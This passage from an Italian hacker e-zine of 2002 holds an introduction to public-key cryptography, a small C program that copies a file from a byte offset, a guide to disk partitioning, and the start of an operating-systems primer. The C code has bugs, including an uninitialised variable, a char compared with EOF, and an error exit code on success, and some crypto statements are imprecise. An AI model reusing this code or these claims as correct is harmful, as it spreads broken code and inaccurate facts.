| Per queste ragioni venne inventato un altro sistema di crittografia: il |
| sistema a chiave pubblica (chiamato anche sistema crittografico |
| Asimmetrico). |
| Il concetto di crittografia a chiave pubblica fu introdotto nel 1976 da |
| Whitfield Diffie e da Martin Hellman.. |
| Come funziona dunque questo sistema? Semplicemente ogni persona ha una |
| coppia di chiavi, una pubblica ed una privata (chiave privata e chiave |
| segreta sono sinonimi). |
| La chiave pubblica di ciascuna persona e' pubblicata ed accessibile |
| a tutti - in modo che chiunque la voglia usare lo possa fare - mentre la |
| chiave privata e' tenuta segreta. Nessuna informazione segreta deve |
| viaggiare dal mittente al ricevente. Cosi', se vuoi comunicare con |
| qualcuno crittografando il messaggio, tutto quello che si deve fare e' |
| usare la sua chiave pubblica. |
| Il ricevente di tale messaggio, puo' poi decifrarlo usando la sua chiave |
| privata. Esiste quindi un legame tra la chiave pubblica e la sua |
| corrispondente chiave privata. |
| Nessuno puo' recuperare la chiave privata dalla sua corrispondente |
| chiave pubblica :) Cosi', solo il destinatario prestabilito puo' |
| decifrare un messaggio a lui indirizzato tramite la sua chiave privata! |
| bello no? :D Beh, purtroppo c'e' un problema: la chiave pubblica è |
| associata al reale destinatario a cui voglio inviare un messaggio |
| crittografato? |
| Per esempio: voglio rendere pubblica la mia chiave "VenInside". |
| La metto sulla rete e dico: "Salve! Questa e' la mia chiave pubblica: |
| "
VenInSide". Mandami un messaggio..". |
| Poi qualcuno "Cattivo :D", cambia la mia chiave pubblica con la sua |
| chiave pubblica (fake mail, social engeenering, ecc). |
| "hack". Cosi' il mio messaggio diventa: 'Salve! Questa e' la mia chiave |
| pubblica: "Hack" ...Mandami un messaggio!' |
| ....Ora supponiamo che tu voglia inviarmi un messaggio cifrato. |
| Tu non conosci la mia chiave pubblica reale (ossia "VenInside") e credi |
| che la mia chiave sia "Hack". |
| Cosa succede? ovviamente.. quel tipo "Cattivo :D" puo' intercettar il |
| messaggio, decifrarlo tramite la sua chiave privata (puo' farlo, perchŠ |
| tu hai cifrato il messaggio tramite la sua chiave pubblica "Hack"), lo |
| legge, e poi lo cifra nuovamente usando la mia chiave pubblica questa |
| volta. Cosi' io ricevo il tuo messaggio e lo decifro tramite la mia |
| chiave privata (che nessun altro tranne me conosce!) e nessuno si |
| accorge di niente! Percio', e' importante essere sicuri di una chiave |
| pubblica prima di usarla. :) In altre parole si potrebbe dire che |
| quella chiave pubblica deve essere autenticata.... |
| Si potrebbe fare ancora un esempio per farvi capire i sistemi |
| crittografici: |
| Consideriamo la crittografia di questo tipo come una sorta di valigetta |
| a 2 lucchetti.. Supponendo che l'utente A, deve mandare all'utente B |
| delle informazioni preziose, pero' senza correre il rischio che la chiave|
| venga "scoperta" mentre questa viene comunicata a B; si potrebbe |
| adottare un metodo diverso. |
| Supponiamo che A abbia la valigetta. A con la sua Chiave chiude il |
| lucchetto 1 e spedisce la valigetta sicura e chiusa a chiave, a B. |
| A questo punto l'utente B ha ricevuto la valigia e non fara' altro che |
| chiudere il secondo lucchetto 2 con la sua chiave (diversa da quella |
| di A), per poi rispedire la valigetta ad A. |
| Fatto cio' l'utente A si ritrova la valigetta questa volta pero con tutti|
| e due i lucchetti chiusi. Quindi A dovra' aprire il suo lucchetto chiuso |
| in precedenza, per poi rispedire la valigetta (sicura perche il |
| lucchetto 2 e' chiuso) al utente B. |
| Finalmente B ha ricevuto la valigetta con un lucchetto solo chiuso, |
| ossia proprio quello che solo lui puo' aprire, in quanto era stato |
| chiuso da lui stesso in precedenza :) |
| Tutto questo "casino", potrebbe sembrare esagerato e molto lungo, ma |
| oggi come oggi i tempi di comunicazione e di elaborazione sono molto |
| pi— bassi.... quindi tutto cio' e' possibile! |
| Ecco risolto il problema di dovere comunicare al destinatario la chiave |
| per decifrare. :) |
| Adesso che spero abbiate le idee un po' piu chiare sulla differenza tra |
| Crittografia convenzionale e Crittografia a Chiave pubblica.. direi di |
| inziare con la teoria vera e propria! :) |
| La crittografia a chiave pubblica trova la sua applicazione per scopi di |
| autenticazione dei messaggi e di distribuzione delle chiavi. |
| In un sistema crittografico a chiave pubblica (a differenza di quelli a |
| chiave privata), il mittente ed il ricevente del messaggio non devono |
| conoscere la stessa chiave. |
| Infatti usano 2 coppie di chiavi ciascuno: una chiave pubblica ed una |
| privata. |
| La cifratura a chiave pubblica e' stata proposta per la prima volta da |
| Diffie e Hellman nel 1976 e rappresenta il primo rivoluzionario passo |
| avanti compiuto nel campo della crittologia. |
| Uno dei motivi principali e' che gli algoritmi a chiave pubblica si |
| basano su sequenze matematiche, piuttosto che su semplici operazioni |
| matematiche applicate su una sequenza di bit. |
| L'elemento principale che distingue i due tipi di crittografia |
| (simmettrica -> convenzionale e asimmetrica -> chiave pubblica) e' |
| appunto il fatto che la crittografia di tipo convenzionale utilizza una |
| sola chiave uguale per tutti. |
| Mentre nel caso della crittografia a chiave pubblica si riscontra un |
| caso asimmetrico, dove appunto esistono 2 chiavi distinte. |
| La cifratura a chiave pubblica e' considerata piu' efficace e più |
| resistente alla crittoanalisi, di quella convenzionale. :) |
| Uno schema a chiave pubblica ha bisogno di 6 componenti principali: |
| 1) Testo in chiaro: dati leggibili in ingresso all'algoritmo. |
| 2) Algoritmo di cifratura: come gia' spiegato esegue delle straformazioni|
| sultesto in chiaro crittografandolo. |
| 3) Chiave Pubblica / Privata: coppia di chiavi scelte in modo che una |
| venga utilizzata per la cifratura e l'altra per la decifratura. |
| Le trasformazioni infatti dipendono dalla chiave inserita in |
| ingresso. |
| 5) Testo Cifrato: messaggio prodotto come risultato della cifratura, |
| questo dipende dalla chiave messa. |
| 6) Algoritmo di decifratura: riceva il testo cifrato e tramite la |
| corretta chiave produce il testo in chiaro originario. |
| Come e' anche evidente dai nomi degli elementi,la chiave pubblica è |
| conosciuta da tutti mentre la chiave privata e' conosciuta solamente dal |
| legittimo proprietario delle chiave. :) |
| Vediamo ora passo passo, i passi fondamentali di questi sistemi: |
| 1) Tutti gli utenti generano una coppia di chiavi, da usare per la |
| cifratura e per la decifratura dei messaggi. |
| 2) Ogni utente mette una delle sue chiavi in un registro pubblico in |
| qualche altro file accessibile pubblicamente (chiave pubblica), |
| mentre l'altra viene mantenuta segreta (chiave privata). |
| 3) Supponendo che un utente A voglia spedire un messaggio cifrato a un |
| altro utente B, allora l'utente A non fara' altro che cifrare il |
| testo in chiaro del messaggio, utilizzando la chiave pubblica del |
| utente B. |
| 4) Una volta che l'utente B riceve il messaggio, lo decifra utilizzando |
| la chiave propria chiave privata. Nessun altro utente puo' decifrarlo |
| inquanto solo l'utente B conosce la chiave segreta. |
| |
| Grazie all'utlizzo di questo metodo tutti gli utenti hanno accesso alle |
| chiavi pubbliche, mentre le chiavi private sono generate dallo stesso |
| utente, quindi non c'e' mai necessita' di distribuirle. |
| Fino a che l'utente in questione tiene segreta la propria chiave |
| privata, si puo' dire che i messaggi diretti a lui sono "sicuri". |
| In qualsiasi momento un utente puo' cambiare la chiave privata e rendere |
| pubblica la nuova chiava pubblica a essa correlata. |
| Segue ora un semplice schema che rappresenta la cifratura a chiave |
| pubblica. |
| ____________________________________________________________________ |
| ( ) |
| ( Il keyring delle chiavi pubbliche di un utente di nome Gianni ) |
| ( comprende quelle di di Gianni, Andrea, Simone e Fabbio. :D ) |
| (_________________________|__________________________________________) |
| | |
| | |
| .--------. k. pubblica GIANNI K. Privata Gianni .--------. |
| | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | |
| | | | Algoritmo | T.Cifrato | Algoritmo | | | |
| | in |==>>| |--->------>| |==>>| in | |
| | | | Cifratura | Trasmesso | Decifratura | | | |
| | Chiaro | |___________| |_____________| | Chiaro | |
| |________| algo. cifratura algo. decifratura |________| |
| |
| (Cifratura) |
| >>> |
| _____________________________________________________________________ |
| ( ) |
| ( Il keyring delle chiavi pubbliche del utente destinatario -> Carlo ) |
| ( comprende quelle di di Carlo, Andrea, Simone e Fabbio. :D ) |
| (_________________________|___________________________________________) |
| | |
| | |
| .--------. k. privata CARLO K. Pubblica CARLO .--------. |
| | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | |
| | | | Algoritmo | T.Cifrato | Algoritmo | | | |
| | in |==>>| |--->------>| |==>>| in | |
| | | | Cifratura | Trasmesso | Decifratura | | | |
| | Chiaro | |___________| |_____________| | Chiaro | |
| |________| algo. cifratura algo. decifratura |________| |
| |
| (Autenticazione) |
| |
| Prima di poter proseguire e' importante, chiarire un aspetto |
| fondamentale di questo sistema di crittografia. I sistemi a chiave |
| pubblica sono caratterizzati da un algoritmo di cifratura con due chiavi |
| una mantenere segreta e una pubblica (disponibile pubblicamente). |
| A seconda del l'applicazione, il mittente utilizza la propria chiave |
| privata o quella pubblica del destinatario o in certi casi entrambe. |
| E' Infatti possibile classificare l'uso di questi dei sistemi |
| crittografici in tre categorie principali. |
| (Non vi spaventate se non capite sta tabella, perche' segue |
| un commento) |
| |
| .__________Appl._sistemi_di_Crittografia_a K._Pubblica___________. |
| |----------------.--------------.------------------.-------------. |
| | | | | Scambio di | |
| | Algoritmo | Cifr/Decifr | Firma Digitale | Chiavi | |
| |================|==============|==================|=============| |
| | RSA | si' | sì | sì | |
| |________________|______________|__________________|_____________| |
| | | | | | |
| | Diffie-Hellman | no | no | si' | |
| |________________|______________|__________________|_____________| |
| | | | | | |
| | DSS | no | si' | no | |
| |________________|______________|__________________|_____________| |
| | | | | | |
| | Curve Ellit. | si' | sì | sì | |
| |________________|______________|__________________|_____________| |
| .----------------------------------------------------------------. |
| |
| Spieghiamo ora questo semplice schema riassuntivo. |
| La tabella e' composta da 4 colonne. Il significato della prima ormai |
| l'avete capito (Algoritmo) :) |
| Per Cifratura/Decifratura intendo che il mittente cifra un messaggio |
| con la chiave pubblica del ricevente. |
| La Firma Digitale: il mittente "firma" il messaggio con la propria |
| chiave privata. La firma si ottiene attraverso un algoritmo di cifratura |
| applicato al messaggio o a un piccolo di dati. |
| Infine per Scambio Di Chiavi: le due parti collaborano al fine di |
| scambiarsi una chiave di sessione. |
| Sono possibili differenti approcci che fanno uso delle chiavi private di |
| una o di entrambe le persone. |
| Alcuni algoritmi sono adatti per tutte le tre applicazioni mentre altri |
| possono essere usati solamente per una o due di queste applicazioni. |
| Nella mia tabella ho infatti voluto riportare quali sono le possibili |
| applicazioni per alcuni degli algoritmi: RSA, Diffie Hellman, DSS e |
| Curve ellittiche.... Capito ora a che serve sta tabella? :) |
| |
| Esistono vari tipi di sistemi a chiave pubblica: RSA, ELGAMAL, Curve |
| Ellittiche, DSS, KNAPSACK, LUC, McEliece, Probabilistic encryption.... |
| (Di seguito vi propporro' un breve commento su ogninuo di questi |
| algoritmi, per quel che riguarda eventuali algoritmi o programmi in C |
| che vi spieghino l'algoritmo in modo dettagliato vi conisiglio di |
| andare su google e provare a cercarli visto che e' pieno... nel caso non |
| riusciste a trovare nessun sorgente o altro mandatemi una mail vedro' se |
| posso aiutarvi....visto che qualche specifica e programmuzzo in C l'ho |
| trovato). |
| |
| **-RSA-** |
| L'RSA e' un sistema crittografico sia per la cifratura che per la |
| autenticazione sviluppato nel 1977 da Ron Rivest, Adi Shamir e |
| Leonard Adleman al MIT. |
| Questo algoritmo e' basato sul problema della fattorizzazione. |
| L' RSA e' solitamente combinata insieme ad un algoritmo a chiave privata |
| come il DES per esempio. Infatti il DES e' molto piu' veloce dell' RSA. |
| L' RSA fornisce dimensioni di chiavi sino a 2048 bit (vedi RSA-129). |
| Di questo algoritmo sono riuscito a trovare anche la spiegazione |
| matematica, o meglio i passaggi matematici dell'algoritmo ma direi di |
| tralasciarli visto che servono alcuni concetti di matematica che manco |
| io so granche' bene, quindi figuriamoci spiegarveli. Comunque nel caso |
| vi interessasse vi invito a cercarvelo e studiarlo. :) |
| |
| **-ELGAMAL-** |
| ELGAMAL e' un algoritmo di cifratura basato sul problema dei logaritmi |
| discreti. |
| Analisi mostrano come ELGAMAL e RSA abbiano una sicurezza simile per |
| lunghezze di chiavi equivalenti. Comunque l' algoritmo ELGAMAL e' piu' |
| lento di quell dell' RSA. |
| |
| **-Curve Ellittiche-** |
| Il sistema delle curve ellittiche e' un algoritmo simile all' RSA e al |
| ELGAMAL, ma e' basato sull' operazione di addizione di curve ellittiche. |
| (Ahia! la matematica e' proprio pesantuccia qui :D) |
| |
| **-DSS-** |
| DSS e' stato pubblicato dal NIST (National Institute of Standards and |
| Technology). Questo e' conosciuto come DSS (Digital Signature Standard) |
| e fa uso del algoritmo Sha-1 proponendo una nuova tecnica di firma |
| digitale DSA (Digital Signature Algorithm). Questo sistema DSS fu |
| proposto nel 1991 e revisionato nel 1993 per rispondere a feedback |
| relativi alla sicurezza dello schema. |
| |
| **-KNAPSACK-** |
| Il sistema crittogrtafico Merkle-Hellman KNAPSACK fu sviluppato nel |
| 1978. E' basato sul problema delle sottosomme della matematica |
| combinatoria. |
| |
| **-LUC-** |
| LUC e' un sistema crittografico sviluppato da un gruppo di ricercatori |
| in Australia e Nuova Zelanda. E' basato sulle sequenze Lucas. |
| |
| **-McEliece-** |
| McEliece e' unsistema crittografico basato sulla teoria della codifica |
| algebrica. |
| |
| **-Cifratura Probabilistica-** |
| La cifratura probabilistica e' un differente approccio alla cifratura |
| scoperto da Goldwasser e Micali. A differenza dei sistemi convenzionali, |
| qui un messaggio e' codificato in uno dei molti testi cifrati possibili. |
| |
| Bene anche la parte di Crittografia a Chiave Pubblica e' conclusa anche |
| se nel prossimo capitolo intendo ancora dedicare uno spazio alle Firme |
| Digitali.... quindi in realta' l'argomento e' ancora aperto. :) |
| |
| Come gia' detto all'inizio della guida.... ho dovuto dividerla in tre |
| tre parti, quindi per questa "puntata" basta cosi. :) |
| Nella prossima parte affronteremo questi argomenti: |
| |
| - Firma Digitale e informazioni sui principali algoritmi |
| - Funzioni Hash (qualche concetto, MD2,MD4,MD5,SHA e SHA-1) |
| - Sistemi di Autenticazione (qualche concetto sul Kerberos ecc) |
| - Sicurezza della posta elettronica (PGP, S/MIME, ecc) |
| - Protocolli generali di Sicurezza su Internet (S-HTTP, SSL, PCT,S/WAN) |
| - Commercio Elettronico (IKP, SET, Secure Courier) |
| |
| Per eventuali consigli, correzioni, insulti o altro scrivetemi a |
| songoten@mojodo.cjb.net ....Grazie e Ciao! :) |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| CUTH [warfare] 0x13/0x23 |
+--------------------------------------------------------------------------+
| |
| warfare /* > |
| $Intro> |
| Salve boyz, nel numero precedente di OndaQuadra c'era un articolo di |
| Alexander The Great nel quale descriveva in modo fantasticamente |
| dettagliato il modo per fare un bootblock, e se ci sono riuscito io ci |
| puo' riuscire chiunque.. (:-P) |
| $Problema> |
| Come dice un mio proffo "Qual'je u' problem?!.." (Qual e' il problema) |
| (lol) bene che nel suo articolo erano indispensabili due programmi |
| (oltre al tasm), uno per eliminare gli header dei file exe dopo avre |
| tasmato e tlinkato il codice assembler del bootstrap loader e uno per |
| inserire nel CHS 001 del floppyno il nostro lavoretto di natale :-). |
| Io ho cercato per un po' di tempo (2 gg.) il chophead ma nn son riuscito |
| a trovarlo in rete.. forse anche xche' iniziavo a cercarlo e poi mi |
| scordavo cosa stavo facendo..;) tanto che ho detto ...bhe' mo provo a |
| farmene uno io...e cosi' |
| dopo un po di scervellamento sono riuscito a ottenere un equivalente.. |
| di cui vi riporto il codice qui sotto fra qualke riga.. L'ho provato e |
| ha funzionato e dopo un po' ho letto sotto l'articolo e ho visto che |
| c'era l'URL del sito di Alex.. Ho detto "Kappro' stava li'" :-( cmq.. il |
| programma e' semplicissimo.. |
| (come dice sempre il mio proffo("A prova di imbecilli :-P %s", |
| "rotfl");) apre il file in rb (file binario in lettura) e si posiziona |
| al numero di bytez passati in input e da quel punto in poi va a scrivere |
| sul file di output... |
| eccovi qui sotto lo snip snip 8< 8< |
| $Dediche> |
| $. josh, focuz, lesion, snip, nick1, eva(^bia^), trimlanda, |
| BigAlex,^Spider^, ^[Case]^, [chr], AnarKya, protheus, c3ntoq, TripTrip e |
| nn mi ricordo + :) |
| */
|
| //8<-------8<-------8<---[Cut here]---8<-------8<-------8<// |
| #include <stdio.h> |
| void main(int argc, char *argv[]) |
| { |
| FILE *fp; |
| FILE *fpz; |
| char ch; |
| long nbyte; |
| /* controllo parametri*/ |
| printf("8<----------8<------[Cut here]------8<----------8<\n"); |
| printf("8<\t\twArFaRe - CutHere\t\t8<"); |
| printf("\n8<----------8<------[Cut here]------8<----------8<\n"); |
| if(argc != 4){ |
| printf("\nUsare %s <NomeFileI>, <Bytez>, <NomeFileO>\n", argv[0]); |
| exit(1); /* Se il numero parametri e' sbagliato esce */ |
| } |
| if(!strcmp(argv[1], argv[3])){ |
| printf("Error> Il file di input non deve coincidere con il file di |
| output.\n"
); |
| exit(1); |
| } |
| /* apertura del file passato come parametro */ |
| if((fp=fopen(argv[1], "rb")) == NULL){ |
| printf("\nErrore di apertura file\n"); |
| exit(1); /*Se si verifica un errore nell'apertura del file esce*/ |
| } |
| /*Trasformo in long argv[2] perche' la sintassi di fseek e' |
| int fseek(FILE *, long, int); */
|
| nbyte = atol(argv[2]); |
| /*mi posiziono sulla nbytesima.. :-P*/ |
| fseek(fp, nbyte, 0); |
| printf("\nFile Input:\t %s", argv[1]); |
| /* apro il file di output..*/ |
| if((fpz=fopen(argv[3], "wb")) == NULL){ |
| printf("\nErrore di apertura file\n"); |
| exit(1); /*Se si verifica un errore nell'apertura del file esce*/ |
| } |
| printf("\nFile Output:\t %s", argv[3]); |
| /*finche' non finisce il file gli scrivo */ |
| while(ch!=EOF){ |
| ch = getc(fp); |
| if(ch==EOF) |
| exit(1); |
| fprintf(fpz,"%c",ch); |
| } |
| /*Chiudo i filez*/ |
| fclose(fp); |
| fclose(fpz); |
| /*Finish :-P*/ |
| } |
| // wArFaRe 8.37.24 25.11.02 Cut Here |
| //8<-------8<-------8<---[Cut here]---8<-------8<-------8<// |
| |
| [NdR: Vedi allegato numero 0x04] |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| Ti FACCi0 A FETTE L'ACCADi [bondo] 0x14/0x23 |
+--------------------------------------------------------------------------+
| |
| Oggi sono andato al libraccio per cercare i libri di scuola e non e' ho |
| trovato neanche uno! Luke, che la forza sia con te (cosi' la sfiga la |
| mandiamo a qualcun'altro). |
| Vabe', dopo questo piccolo fuoritema, torniamo a noi. - 'spettate che |
| cambio cd............................................................. |
| ...........................e' una scelta difficile.................... |
| ...................................................................... |
| .............ok, vada per i PORNO*RiViSTE (GIOVEDi' SERA VOGLIO ANDARE |
| AL CONCERTO!!!!!!!! BUT MUMMY DON'T WANT!). |
| Si diceva (a parte che non l'ho mai detto, ma sorvoliamo) che visto che |
| non so cosa scrivere e visto che qualcuno mi ha detto che doveva |
| comprare un altro disco fisso per poter montare linux, spieghiamo un |
| attimo come ottimizzare al meglio un disco fisso per ospitare un sistema |
| operativo in generale (noi non siamo razzisti!). |
| Anzitutto, credo bisogni introdurre il concetto di partizione (se sapete |
| gia' cosa sia, scrollate un po' avanti). Una 'partizione' non e' |
| nient'altro che una 'porzione' di un disco duro (hard disc) che funziona |
| come fosse un disco fisso a se stante: per rendere l'idea, facciamo un |
| esempio 'user friendly' - in 'risorse del computer' di windows, per ogni |
| partizione vi compare l'icona del disco fisso e la sua lettera associata |
| (C:, D:, E:, ...). |
| Le partizioni, essendo indipendenti tra loro, possono essere formattate |
| con file system differenti l'una dall'altra, quindi su un disco fisso |
| possono 'coabitare' piu' sistemi operativi - il caso piu' classico e' |
| quello UTENTE-LINUX-CON-WINMODEM-COSTRETTO-A-WINDOWS-PER-COLLEGARSI-A- |
| -INTERNET. |
| Esistono diversi tipi di file system (poteva mancare un elenco? certo |
| che no!): |
|

  
|
| - FAT File Allocation Table, quella del dos e di win fino alla '95/OSR2 |
| (credo) |
| - FAT32 File Allocation Table 32, dal win '95/OSR2 in avanti |
| (il '98 di sicuro) |
| - NTFS Network Technology File System, winNT |
| - HPFS High Performance File System, OS/2 |
| - NetWare File System, NetWare server della Novell |
| - Linux Ext2 e Linux Swap, per linux (ovviamente) |
| |
| Sicuramente ce ne saranno altre, ma tutte quelle che conosco sono li' |
| sopra. Perche' non un file system comune a tutti? be', perche' alla |
| maicrostof pensano che il loro sia il migliore ma neanche loro hanno |
| capito bene quale dei tre, perche' per quello di linux non bisogna |
| pagare, perche' ognuno fa come vuole e chi ha i soldi lo fa fare anche |
| agli altri. Ovviamente esistono delle differenze che sostanzialmente si |
| basano su come sono organizzati i cluster (i pezzettini di disco che |
| contengono i file). |
| Ma questo cosa centra su come ottimizzare un disco fisso? Proprio |
| niente, quindi torniamo sulla dritta via che nel mezzo del cammin di |
| nostra vita era smarrita. Esaminiamo un computer appena comprato (evvai, |
| adesso si disegna!). |
| Come tutti ci aspettiamo, cosa troviamo come sistema operativo gia' |
| preinstallato? ecco, bravi, avete indovinato! un windows (UN?!?! eh, |
| gia', un cane, un canarino, un windows). |
| E il disco fisso come e' organizzato? Cosi': |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| eh, gia' 40gb per windows - da 540mb non ne fanno + (puah!). |
| no, no, cosi' non va bene. Tanto per cominciare, io odio la cartella |
| documenti (che cosa vuol dire? un mp3 che documento puo' essere?) e poi |
| se devo fare il backup devo stare li' a setacciare in mezzo a migliaia |
| di cartelle i miei dati (e che cazzo, chiamatelo 'Dati' |
| quello schifo di folder nel prossimo WindowsST - cos'e' ST? beh, |
| StarTreknology - ormai tutti i nomi piu' cazzuti li hanno gia' usati, |
| tipo WindowsMillenniumEdition, Windows2001:SpaceOdissey). Io voglio i |
| miei dati tutti in un posto dove siano velocemente e facilmente |
| reperibili, quindi: |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| +----------------------+20gb |
| | | |
| | | |
| | d:\ [dati] | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| Secondo: io molto spesso riverso audio da audiocassette e 33giri su cd |
| (cosa non si fa per guadagnarsi di che vivere - RAGAZZi: COPiARE UNA |
| CASSETTA SU CD E' TANTO iLLEGALE QUANTO DUPLiCARE UN CD, A MENO CHE CiO' |
| NON AVVENGA PER MOTiVi Di BACKUP O Di SiCUREZZA), e poi adesso che ci |
| siamo messi a registrare le nostre canzoni con il gruppone punkettone |
| (se volete ascoltare un paio di nostre canzoni, ve le mando in mp3), mi |
| servono sempre 800mb per metterci i file da masterizzare e percio': |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| +----------------------+20gb |
| | d:\ [cdtemp] | |
| +----------------------+21gb |
| | | |
| | | |
| | e:\ [dati] | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| la soluzione di una partizione apposita per i file da masterizzare e' |
| particolarmente vantaggiosa, perche' si evita di copiare file in una |
| porzione di disco che potrebbe risultare eccessivamente frammentata, |
| mentre cosi' prima di masterizzare si da una formattata veloce e si va |
| via sicuri. Possiamo aumentare ancora un po' le prestazioni creando una |
| partizione per il file di swap della memoria virtuale: |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| +----------------------+20gb |
| | d:\ [cdtemp] | |
| +----------------------+21gb |
| | | |
| | | |
| | e:\ [dati] | |
| | | |
| | | |
| +----------------------+39gb |
| | x:\ [winswap] | |
| +----------------------+40gb |
| |
| |
| Se proprio vogliamo esagerare, facciamoci una partizione solo per i |
| programmi, tanto non abbiamo limiti al numero di partizioni (mi sembra |
| ma non ne sarei tanto sicuro - se ne era parlato una volta, ma i ricordi |
| sono molto vaghi). |
| Come mi ha fatto notare piu' volte il prof di info di quest'anno, |
| suddividendo cosi' il disco fisso si velocizzano le operazioni di backup |
| e restore dei dati. Esistono dei programmini tipo DriveImage o Ghost che |
| permettono di fare copie 1:1 o anche compresse di intere partizioni e |
| anche di splittarle in file da 650mb per poter essere masterizzate. |
| |
| Ah, usate anche linux? No problem. |
| |
| |
| +----------------------+0gb |
| | | |
| | c:\ [windows] | |
| | | |
| +----------------------+10gb |
| | d:\ [cdtemp] | |
| +----------------------+11gb |
| | x:\ [winswap] | |
| +----------------------+12gb |
| | | |
| | \ [linux] | |
| | | |
| +----------------------+20gb |
| | [linux swap] | |
| +----------------------+22gb |
| | | |
| | e:\ [dati] | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| Vorrei far notare che se si sfascia il disco perche' vi rotola il |
| computer giu' dalle scale, vanno a quel paese (ma poi, qualcuno sa dirmi |
| dov'e'? c'e' tanta gente che conosco laggiu') |
| tutte le partizioni e vorrei anche aggiungere che se avete un secondo |
| disco fisso, mette separati sistema operativo e swap per incrementare un |
| pochino le prestazioni. |
| |
| E come faccio a partizionare il mio disco fisso? Se siete alle prime |
| armi e volete impratichirvi, vi consiglio un programma tipo |
| PartitionMagic che e' semplice da usare e mostra graficamente come e' |
| organizzato il disco fisso. Ha delle procedure guidate che ti 'prendono |
| per mano' durante le modifiche e la creazione di una nuova partizione. |
| Oppure, ma non saro' io ad aprirvi la mente, usate fdisk o discdruid. |
| Direi che e' sempre buona norma fare una copia di backup dei dati prima |
| di stravolgere l'hd (specialmente se provate per la prima volta). |
| |
| Ah, e non pensiate che sia necessario un disco fisso da 40giga per |
| dividerlo cosi': io ho un 6gb in 6 partizioni. |
| |
| Adesso e' tardi e ce ne ho pieni i container di stare qui a scrivere, |
| quindi vi saluto e io me ne vado a letto. |
| |
| bye bye |
| |
| |
| -.~.-([ bondo ])-.~.- |
| |
| bondo@marijuana.com |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| i SiSTEMi 0PERATiVi iN P0CHi SEMPLiCi PASSAGGi [BaBBeuZ] 0x15/0x23 |
+--------------------------------------------------------------------------+
| |
| Perche' un titolo simile? Semplice, adesso vi parlero' dei..... rullo di |
| tamburi (nn ho altro) ..... Sistemi Operativi!! Clap, clap..... si, le |
| fondamenta dei OS che tutti usano ma di cui molti ignorano il |
| funzionamento. Naturalmente e' un argomento abbastanza impegn. percio' |
| cerchero' di essere chiaro e sintetico. |
| |
| Definiz.= OS : insieme di programmi creati allo scopo di rendere |
| utilizzabili i dispositivi (device) e le risorse di |
| calcolo. Fin qui, nn ci piove. |
| |
| Naturalm. alla nascita un OS e' predisp. a utilizz. device conosciuti, |
| ma nn quelli futuri, che vengono implementati da soft che ne permettono |
| l'interazione, ossia i device driver. Ormai l'utilizzo di quest'ultimi |
| e' molto automatizzato, ancor + nel caso di disp. plug and play, il cui |
| significato (inserisci e usa) la dice lunga. |
| |
| Bisogna dire pero' che l'hardware e' regolato secondo standard |
| affermati, imposti di solito dalle case + importanti, o da istituti |
| internazionali quali l' ISO come e' avvenuto per CD-ROM e prossimamente |
| DVD-recorder, o addirittura da gruppi di lavoro specializzati. |
| |
| Ad un sistema pero' vanno attribuite varie caratteristice, ad esempio e' |
| necessario chiamarlo sistema aperto nel caso , come Unix, sia costituito |
| in modo da lavorare con dispositivi diversi e addirittura con terminali |
| diversi montanti CPU incompatibili tra loro. Lo stesso nn si puo' dire |
| di altri OS "minori" (o minorati) chiamati sistemi chiusi o |
| proprietari. |
| |
| L'utilizzo di altri dispositivi da parte del OS e' permesso da moduli |
| (procedura primitiva) che li "trasformano" in macchine virtuali, in modo |
| da farle eseguire + operazioni ma in modo logico anziche fisico. |
| Deduciamo quindi la definizione di modulo, che si riduce a: |
| |
| ---private sub Definizione(modulo as string) |
| collezione di routine che risolvono stessi tipi di probl. logici |
| attivando diversi meccanismi fisici. |
| ---end sub |
| |
| Un altro concetto e' la portabilita', cioe' la capacita' dell'OS si |
| essere eseguito da hardware diverso. Si spiegano percio' tutti i |
| problemi dei primi kernel unix e delle differenze apportate a minix. |
| |
| Passiamo ora alla diversificazione dei sistemi in monoprogrammati e |
| multiprogrammati. Per farla breve e molto chiara un sistema e' |
| monoprogrammato quando e' utilizzabile da un solo utente per volta, |
| mentre e' multiprog in contrario, in questo caso spetta al OS il compito |
| di riutilizzare il tempo inattivo per ovviare ai soliti problemi di |
| system overhead ed ottenere il max dalla CPU eliminando tempi morti. La |
| gestione delle risorse viene quindi gestita in time sharing (spezzone di |
| tempo) regolati da intervalli chiamati time slice. |
| |
| Ma tornando all'OS, vediamo un attimino l'architettura tipica: |
| ---------- ____ |
| 1-Hardware | |
| 2-Gestione de processore a basso livello | |
| 3-Gestione della memoria |->>> Nucleo o Kernel |
| 4-Gestione del processore ad alto livello | dell'OS |
| 5-Gestione dei dispositivi di I/O | |
| 6-Gestione delle informazioni ___| |
| 7-Programmi applicativi |
| 8-Spooling (code di stampa) |
| 9-Interprete |
| -----------(sembra chiaro) |
| |
| Importante e' capire il ciclo di vita di un processo in ambienti |
| multiprogrammati. |
| |
| |
| ........................ |
| ______ _____ ! ______ ____ ! __________ |
| | | | | ! | | | | ! | | |
| |Submit|----|Hold |--!--|Ready |----|Run |--!---| Complete | |
| |______| |_____| ! |______| |____| ! |__________| |
| ! / ! |
| ! / ! |
| ! ___/__ ! |
| ! | | ! |
| ! | Wait | ! |
| ! |______| ! |
| !----------------------! |
| |
| |
| Allora, vediamo un po' + analiticamente: |
| |
| Submit => tempo per elaborare le schede perforate (ora e' stato |
| eliminato in quanto nn esistono + ); |
| |
| Hold => coda: qui avviene l'attesa del rilascio delle risorse fisiche di |
| cui ha bisogno il processo per entrare nella fase di esecuzione; |
| |
